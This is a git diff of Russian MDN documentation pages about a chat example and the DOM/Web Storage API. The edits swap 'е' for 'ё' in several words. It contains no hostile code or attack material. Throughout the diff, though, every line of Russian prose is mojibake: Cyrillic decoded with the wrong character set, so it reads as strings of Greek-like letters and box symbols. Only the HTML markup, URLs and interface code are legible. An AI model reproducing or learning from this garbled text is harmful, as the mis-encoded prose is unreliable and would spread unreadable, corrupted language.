-<p>Π”Π°Π»Π΅Π΅, ΠΌΡ‹ ΠΏΠ΅Ρ€Π΅Ρ…Π²Π°Ρ‚Ρ‹Π²Π°Π΅ΠΌ ссылку на {{htmlelement("button")}} подписки/отписки ΠΈΒ Π·Π°Π΄Π°Π΅ΠΌ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ для сохранСния ссылок Π½Π° Π½Π°ΡˆΠΈΒ ΠΊΠ½ΠΎΠΏΠΊΡƒ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ сообщСния/Π²Π²ΠΎΠ΄Π° (ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ создастся Ρ‚ΠΎΠ»ΡŒΠΊΠΎ послС ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎΠΉ подписки).<br>
+<p>Π”Π°Π»Π΅Π΅, ΠΌΡ‹ ΠΏΠ΅Ρ€Π΅Ρ…Π²Π°Ρ‚Ρ‹Π²Π°Π΅ΠΌ ссылку на {{htmlelement("button")}} подписки/отписки ΠΈΒ Π·Π°Π΄Π°Ρ‘ΠΌ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ для сохранСния ссылок Π½Π° Π½Π°ΡˆΠΈΒ ΠΊΠ½ΠΎΠΏΠΊΡƒ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ сообщСния/Π²Π²ΠΎΠ΄Π° (ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ создастся Ρ‚ΠΎΠ»ΡŒΠΊΠΎ послС ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎΠΉ подписки).<br>
<br>
Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ ΠΏΠ΅Ρ€Π΅Ρ…Π²Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‚ ссылки Π½Π° Ρ‚Ρ€ΠΈ основныС {{htmlelement("div")}} элСмСнта, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌΒ Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ Π² Π½ΠΈΡ… элСмСнты (ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ, ΠΊΠΎΠ³Π΄Π° появится ΠΊΠ½ΠΎΠΏΠΊΠ° <em>ΠžΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ БообщСния Π§Π°Ρ‚Π°</em>Β ΠΈΠ»ΠΈ сообщСниС появится с пискС <em>Π‘ΠΎΠΎΠ±Ρ‰Π΅Π½ΠΈΠΉ</em>).</p>
diff --git a/files/ru/conflicting/web/api/web_storage_api/index.html b/files/ru/conflicting/web/api/web_storage_api/index.html
index cbcff26342..cb20c00588 100644
--- a/files/ru/conflicting/web/api/web_storage_api/index.html
+++ b/files/ru/conflicting/web/api/web_storage_api/index.html
@@ -7,7 +7,7 @@ original_slug: Web/Guide/API/DOM/Storage
---
<h2 id="sect1">Β </h2>
-<p>DOM Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅ (DOM Storage) - это Π½Π°Π·Π²Π°Π½ΠΈΠ΅ для Π½Π°Π±ΠΎΡ€Π° инструмСнтов, <a href="http://www.whatwg.org/specs/web-apps/current-work/#storage">относящихся ΠΊ Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π°ΠΌ</a>, Π²ΠΏΠ΅Ρ€Π²Ρ‹Π΅ прСдставлСнных Π² спСцификации <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/" title="http://www.whatwg.org/specs/web-apps/current-work/">Web Applications 1.0</a>, Β ΠΈ Π²Ρ‹Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π² ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΡƒΡŽ ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡŽΒ <a class="external" href="http://dev.w3.org/html5/webstorage/" title="http://dev.w3.org/html5/webstorage/">W3C Web Storage</a>. DOM Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅ Π±Ρ‹Π»ΠΎ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Π½ΠΎ с Ρ†Π΅Π»ΡŒΡŽ прСдоставлСния Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Ρ‹ Ρ…Ρ€Π°Π½Π΅Π½ΠΈΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ Π² кукисах. ΠŸΡ€Π΅Π΄ΠΏΠΎΠ»Π°Π³Π°Π΅Ρ‚ΡΡ, Ρ‡Ρ‚ΠΎ DOM Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚Β Π±ΠΎΠ»ΡŒΡˆΠ΅ объСма, ΠΎΠ½ΠΎ Π±ΠΎΠ»Π΅Π΅ Π·Π°Ρ‰ΠΈΡ‰Π΅Π½ΠΎ ΠΈ Π»Π΅Π³Ρ‡Π΅ Π² использовании. Π’ΠΏΠ΅Ρ€Π²Ρ‹Π΅ ΠΎΠ½ΠΎ Π±Ρ‹Π»ΠΎ прСдставлСно Β Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…Β <a href="/en-US/docs/Firefox_2_for_developers" title="Firefox_2_for_developers">Firefox 2</a> ΠΈΒ <a class="external" href="http://developer.apple.com/safari/library/documentation/iPhone/Conceptual/SafariJSDatabaseGuide/Name-ValueStorage/Name-ValueStorage.html" title="http://developer.apple.com/safari/library/documentation/iPhone/Conceptual/SafariJSDatabaseGuide/Name-ValueStorage/Name-ValueStorage.html">Safari 4</a>.</p>
+<p>DOM Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅ (DOM Storage) - это Π½Π°Π·Π²Π°Π½ΠΈΠ΅ для Π½Π°Π±ΠΎΡ€Π° инструмСнтов, <a href="http://www.whatwg.org/specs/web-apps/current-work/#storage">относящихся ΠΊ Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π°ΠΌ</a>, Π²ΠΏΠ΅Ρ€Π²Ρ‹Π΅ прСдставлСнных Π² спСцификации <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/" title="http://www.whatwg.org/specs/web-apps/current-work/">Web Applications 1.0</a>, Β ΠΈ Π²Ρ‹Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π² ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΡƒΡŽ ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡŽΒ <a class="external" href="http://dev.w3.org/html5/webstorage/" title="http://dev.w3.org/html5/webstorage/">W3C Web Storage</a>. DOM Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅ Π±Ρ‹Π»ΠΎ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Π½ΠΎ с Ρ†Π΅Π»ΡŒΡŽ прСдоставлСния Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Ρ‹ Ρ…Ρ€Π°Π½Π΅Π½ΠΈΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ Π² кукисах. ΠŸΡ€Π΅Π΄ΠΏΠΎΠ»Π°Π³Π°Π΅Ρ‚ΡΡ, Ρ‡Ρ‚ΠΎ DOM Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚Β Π±ΠΎΠ»ΡŒΡˆΠ΅ ΠΎΠ±ΡŠΡ‘ΠΌΠ°, ΠΎΠ½ΠΎ Π±ΠΎΠ»Π΅Π΅ Π·Π°Ρ‰ΠΈΡ‰Π΅Π½ΠΎ ΠΈ Π»Π΅Π³Ρ‡Π΅ Π² использовании. Π’ΠΏΠ΅Ρ€Π²Ρ‹Π΅ ΠΎΠ½ΠΎ Π±Ρ‹Π»ΠΎ прСдставлСно Β Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…Β <a href="/en-US/docs/Firefox_2_for_developers" title="Firefox_2_for_developers">Firefox 2</a> ΠΈΒ <a class="external" href="http://developer.apple.com/safari/library/documentation/iPhone/Conceptual/SafariJSDatabaseGuide/Name-ValueStorage/Name-ValueStorage.html" title="http://developer.apple.com/safari/library/documentation/iPhone/Conceptual/SafariJSDatabaseGuide/Name-ValueStorage/Name-ValueStorage.html">Safari 4</a>.</p>
<div class="note"><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°:</strong> DOM Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅ - это Π½Π΅ Ρ‚ΠΎ ΠΆΠ΅ самоС, Ρ‡Ρ‚ΠΎΒ <a href="/en-US/docs/Storage" title="Storage">mozStorage</a> (Mozilla's XPCOM interfaces to SQLite) ΠΈΠ»ΠΈΒ <a href="/en-US/docs/Session_store_API" title="Session_store_API">Session store API</a> (ΡƒΡ‚ΠΈΠ»ΠΈΡ‚Π°Β <a href="/en-US/docs/XPCOM" title="XPCOM">XPCOM</a>Β - Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅ для использования Π² Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡΡ…).</div>
@@ -21,9 +21,9 @@ original_slug: Web/Guide/API/DOM/Storage
<p>Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Π½Π° основС Mozilla, Internet Explorer 8 +, Safari 4 + ΠΈ Chrome ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΠ²Π°ΡŽΡ‚ Ρ€Π°Π±ΠΎΡ‡ΡƒΡŽ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΡŽ спСцификации DOM Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π°. (Π’ случаС, Ссли Π½ΡƒΠΆΠ½Π° кросс-браузСрная ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ°Β Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ Π±ΠΎΠ»Π΅Π΅ старыС вСрсии IE, Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ IE Ρ‚Π°ΠΊΠΆΠ΅ ΠΈΠΌΠ΅Π΅Ρ‚ ΠΏΠΎΠ΄ΠΎΠ±Π½ΡƒΡŽ лСгаси Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ ΠΏΠΎΠ΄ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ΠΌ "<a href="http://msdn.microsoft.com/en-us/library/ms531424(VS.85).aspx">USERDATA ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅</a>", которая Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ DOM Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅ IE Π² IE8.)</p>
-<p>DOM Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅ ΡƒΠ΄ΠΎΠ±Π½ΠΎ, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Π½Π΅Ρ‚ Π΄Ρ€ΡƒΠ³ΠΈΡ… Ρ…ΠΎΡ€ΠΎΡˆΠΈΡ… способов хранСния Ρ€Π°Π·ΡƒΠΌΠ½Ρ‹Ρ… объСмов Π΄Π°Π½Π½Ρ‹Ρ… Π·Π° любой ΠΏΠ΅Ρ€ΠΈΠΎΠ΄ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ, встроСнных Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€. <a href="http://en.wikipedia.org/wiki/HTTP_cookie">ΠšΡƒΠΊΠΈΡΡ‹ </a>ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Ρ‹ Π² количСствС Ρ…Ρ€Π°Π½ΠΈΠΌΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΈ Π½Π΅ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΠ²Π°ΡŽΡ‚ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒ для ΠΎΡ€Π³Π°Π½ΠΈΠ·Π°Ρ†ΠΈΠΈ постоянных Π΄Π°Π½Π½Ρ‹Ρ…, Π° Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, <a href="http://www.macromedia.com/support/documentation/en-US/docs/flashplayer/help/help02.html">Ρ„Π»ΡΡˆ-локальноС Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅</a>) Ρ‚Ρ€Π΅Π±ΡƒΡŽΡ‚ ΠΏΠ»Π°Π³ΠΈΠ½Π°.</p>
+<p>DOM Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅ ΡƒΠ΄ΠΎΠ±Π½ΠΎ, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Π½Π΅Ρ‚ Π΄Ρ€ΡƒΠ³ΠΈΡ… Ρ…ΠΎΡ€ΠΎΡˆΠΈΡ… способов хранСния Ρ€Π°Π·ΡƒΠΌΠ½Ρ‹Ρ… ΠΎΠ±ΡŠΡ‘ΠΌΠΎΠ² Π΄Π°Π½Π½Ρ‹Ρ… Π·Π° любой ΠΏΠ΅Ρ€ΠΈΠΎΠ΄ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ, встроСнных Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€. <a href="http://en.wikipedia.org/wiki/HTTP_cookie">ΠšΡƒΠΊΠΈΡΡ‹ </a>ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Ρ‹ Π² количСствС Ρ…Ρ€Π°Π½ΠΈΠΌΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΈ Π½Π΅ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΠ²Π°ΡŽΡ‚ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒ для ΠΎΡ€Π³Π°Π½ΠΈΠ·Π°Ρ†ΠΈΠΈ постоянных Π΄Π°Π½Π½Ρ‹Ρ…, Π° Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, <a href="http://www.macromedia.com/support/documentation/en-US/docs/flashplayer/help/help02.html">Ρ„Π»ΡΡˆ-локальноС Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅</a>) Ρ‚Ρ€Π΅Π±ΡƒΡŽΡ‚ ΠΏΠ»Π°Π³ΠΈΠ½Π°.</p>
-<p>Одним ΠΈΠ· ΠΏΠ΅Ρ€Π²Ρ‹Ρ… извСстных ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ, Β ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰ΠΈΡ… Π½ΠΎΠ²Ρ‹Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹Π΅ возмоТности DOM Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π°(Π² Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΊ USERDATA повСдСния Π² Internet Explorer) Π±Ρ‹Π»ΠΎΒ <a href="http://aaronboodman.com/halfnote/">halfnote </a>(ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ для Π·Π°ΠΌΠ΅Ρ‚ΠΎΠΊ), написанноС <a href="http://aaronboodman.com/">Аароном Π‘ΡƒΠ΄ΠΌΠ΅Π½ΠΎΠΌ</a>. Π’ своСм ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ, Аарон ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ сохранял Π·Π°ΠΌΠ΅Ρ‚ΠΊΠΈ Π½Π° сСрвСрС (ΠΊΠΎΠ³Π΄Π°/Ссли Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚-ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅Β  Π±Ρ‹Π» доступно) ΠΈ локального Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π° Π΄Π°Π½Π½Ρ‹Ρ…(Π² ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎΠΌ случаС). Π­Ρ‚ΠΎ Π΄Π°Π»ΠΎ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ смСло ΠΏΠΈΡΠ°Ρ‚ΡŒ Ρ€Π΅Π·Π΅Ρ€Π²Π½Ρ‹Π΅ ΠΊΠΎΠΏΠΈΠΈ Π·Π°ΠΌΠ΅Ρ‚ΠΎΠΊ Π΄Π°ΠΆΠ΅ ΠΏΡ€ΠΈ нСрСгулярном ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠΈ ΠΊ Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Ρƒ.</p>
+<p>Одним ΠΈΠ· ΠΏΠ΅Ρ€Π²Ρ‹Ρ… извСстных ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ, Β ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰ΠΈΡ… Π½ΠΎΠ²Ρ‹Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹Π΅ возмоТности DOM Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π°(Π² Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΊ USERDATA повСдСния Π² Internet Explorer) Π±Ρ‹Π»ΠΎΒ <a href="http://aaronboodman.com/halfnote/">halfnote </a>(ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ для Π·Π°ΠΌΠ΅Ρ‚ΠΎΠΊ), написанноС <a href="http://aaronboodman.com/">Аароном Π‘ΡƒΠ΄ΠΌΠ΅Π½ΠΎΠΌ</a>. Π’ своём ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ, Аарон ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ сохранял Π·Π°ΠΌΠ΅Ρ‚ΠΊΠΈ Π½Π° сСрвСрС (ΠΊΠΎΠ³Π΄Π°/Ссли Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚-ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅Β  Π±Ρ‹Π» доступно) ΠΈ локального Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π° Π΄Π°Π½Π½Ρ‹Ρ…(Π² ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎΠΌ случаС). Π­Ρ‚ΠΎ Π΄Π°Π»ΠΎ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ смСло ΠΏΠΈΡΠ°Ρ‚ΡŒ Ρ€Π΅Π·Π΅Ρ€Π²Π½Ρ‹Π΅ ΠΊΠΎΠΏΠΈΠΈ Π·Π°ΠΌΠ΅Ρ‚ΠΎΠΊ Π΄Π°ΠΆΠ΅ ΠΏΡ€ΠΈ нСрСгулярном ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠΈ ΠΊ Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Ρƒ.</p>
<p>Π₯отя идСя ΠΈ рСализация halfnote Π±Ρ‹Π»ΠΈ ΡΡ€Π°Π²Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ простыми, созданиС halfnote ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ для Π½ΠΎΠ²ΠΎΠ³ΠΎ поколСния Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΊΠ°ΠΊ Π² ΠΎΠ½Π»Π°ΠΉΠ½-, Ρ‚Π°ΠΊ ΠΈ ΠΎΡ„Ρ„Π»Π°ΠΉΠ½- Ρ€Π΅ΠΆΠΈΠΌΠ΅.</p>
@@ -39,7 +39,7 @@ original_slug: Web/Guide/API/DOM/Storage
<p>Π•Π΄ΠΈΠ½ΠΈΡ†Ρ‹ <code>globalStorage</code>Β ΡΠ²Π»ΡΡŽΡ‚ΡΡ экзСмплярами <span style="font-family: 'Courier New', 'Andale Mono', monospace; line-height: 1.5;">StorageObsolete,</span> Π°Β <span style="line-height: 1.5;">Π½Π΅Β </span><code style="font-style: normal; line-height: 1.5;">Storage</code><span style="line-height: 1.5;">.</span></p>
-<p><code>Storage</code> ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ Π² WhatWG <a class="external" href="http://dev.w3.org/html5/webstorage/#storage-0" title="http://dev.w3.org/html5/webstorage/#storage-0">Storage Interface</a>Β ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
+<p><code>Storage</code> ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½ Π² WhatWG <a class="external" href="http://dev.w3.org/html5/webstorage/#storage-0" title="http://dev.w3.org/html5/webstorage/#storage-0">Storage Interface</a>Β ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
<pre class="eval">interface <dfn>Storage</dfn> {
readonly attribute unsigned long <a class="external" href="http://dev.w3.org/html5/webstorage/#dom-storage-length" title="dom-Storage-length">length</a>;
@@ -53,16 +53,16 @@ original_slug: Web/Guide/API/DOM/Storage
<div class="note"><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°: </strong>НСсмотря Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ значСния доступны для чтСния ΠΈ записи Ρ‡Π΅Ρ€Π΅Π· стандартныС способы Javascript, рСкомСндуСтся использованиС <span style="line-height: 1.5;">getItem ΠΈ setItem.</span></div>
-<div class="note"><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°:</strong>Β ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ Π»ΡŽΠ±Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ хранятся Π² любом ΠΈΠ· Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰, описанных Π½Π° этой страницС, ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΡƒΡŽΡ‚ΡΡ Π² строку, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΌΠ΅Ρ‚ΠΎΠ΄<span style="font-family: 'Courier New', 'Andale Mono', monospace; line-height: 1.5;">.toString</span><span style="line-height: 1.5;">. ΠΏΠ΅Ρ€Π΅Π΄ Ρ‚Π΅ΠΌ, ΠΊΠ°ΠΊ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅. ΠŸΠΎΠΏΡ‹Ρ‚ΠΊΠ° ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚ ΠΊ ΡΠΎΡ…Ρ€Π°Π½Π΅Π½ΠΈΡŽ строки </span><code style="font-style: italic;">"[object Object]"</code>Β Β <span style="line-height: 1.5;">вмСсто ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° ΠΈΠ»ΠΈ Π΅Π³ΠΎ JSONΒ </span><span style="line-height: 1.5;">прСдставлСния</span><span style="line-height: 1.5;">. Π‘Π°ΠΌΡ‹ΠΌ Π»ΡƒΡ‡ΡˆΠΈΠΌ ΠΈ распространСнным способом сохранСния ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² Π² Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅ строки являСтся использованиС ΠΏ</span><span style="line-height: 1.5;">рСдоставляСмых Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌΒ </span><span style="line-height: 1.5;">ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² JSON для парсинга</span><span style="line-height: 1.5;">Β </span><span style="line-height: 1.5;">ΠΈ сСриализации ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ².</span></div>
+<div class="note"><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°:</strong>Β ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ Π»ΡŽΠ±Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ хранятся Π² любом ΠΈΠ· Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰, описанных Π½Π° этой страницС, ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΡƒΡŽΡ‚ΡΡ Π² строку, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΌΠ΅Ρ‚ΠΎΠ΄<span style="font-family: 'Courier New', 'Andale Mono', monospace; line-height: 1.5;">.toString</span><span style="line-height: 1.5;">. ΠΏΠ΅Ρ€Π΅Π΄ Ρ‚Π΅ΠΌ, ΠΊΠ°ΠΊ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅. ΠŸΠΎΠΏΡ‹Ρ‚ΠΊΠ° ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ ΠΊ ΡΠΎΡ…Ρ€Π°Π½Π΅Π½ΠΈΡŽ строки </span><code style="font-style: italic;">"[object Object]"</code>Β Β <span style="line-height: 1.5;">вмСсто ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° ΠΈΠ»ΠΈ Π΅Π³ΠΎ JSONΒ </span><span style="line-height: 1.5;">прСдставлСния</span><span style="line-height: 1.5;">. Π‘Π°ΠΌΡ‹ΠΌ Π»ΡƒΡ‡ΡˆΠΈΠΌ ΠΈ распространённым способом сохранСния ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² Π² Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅ строки являСтся использованиС ΠΏ</span><span style="line-height: 1.5;">рСдоставляСмых Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌΒ </span><span style="line-height: 1.5;">ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² JSON для парсинга</span><span style="line-height: 1.5;">Β </span><span style="line-height: 1.5;">ΠΈ сСриализации ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ².</span></div>
<h3 id="sessionStorage"><code>sessionStorage</code></h3>
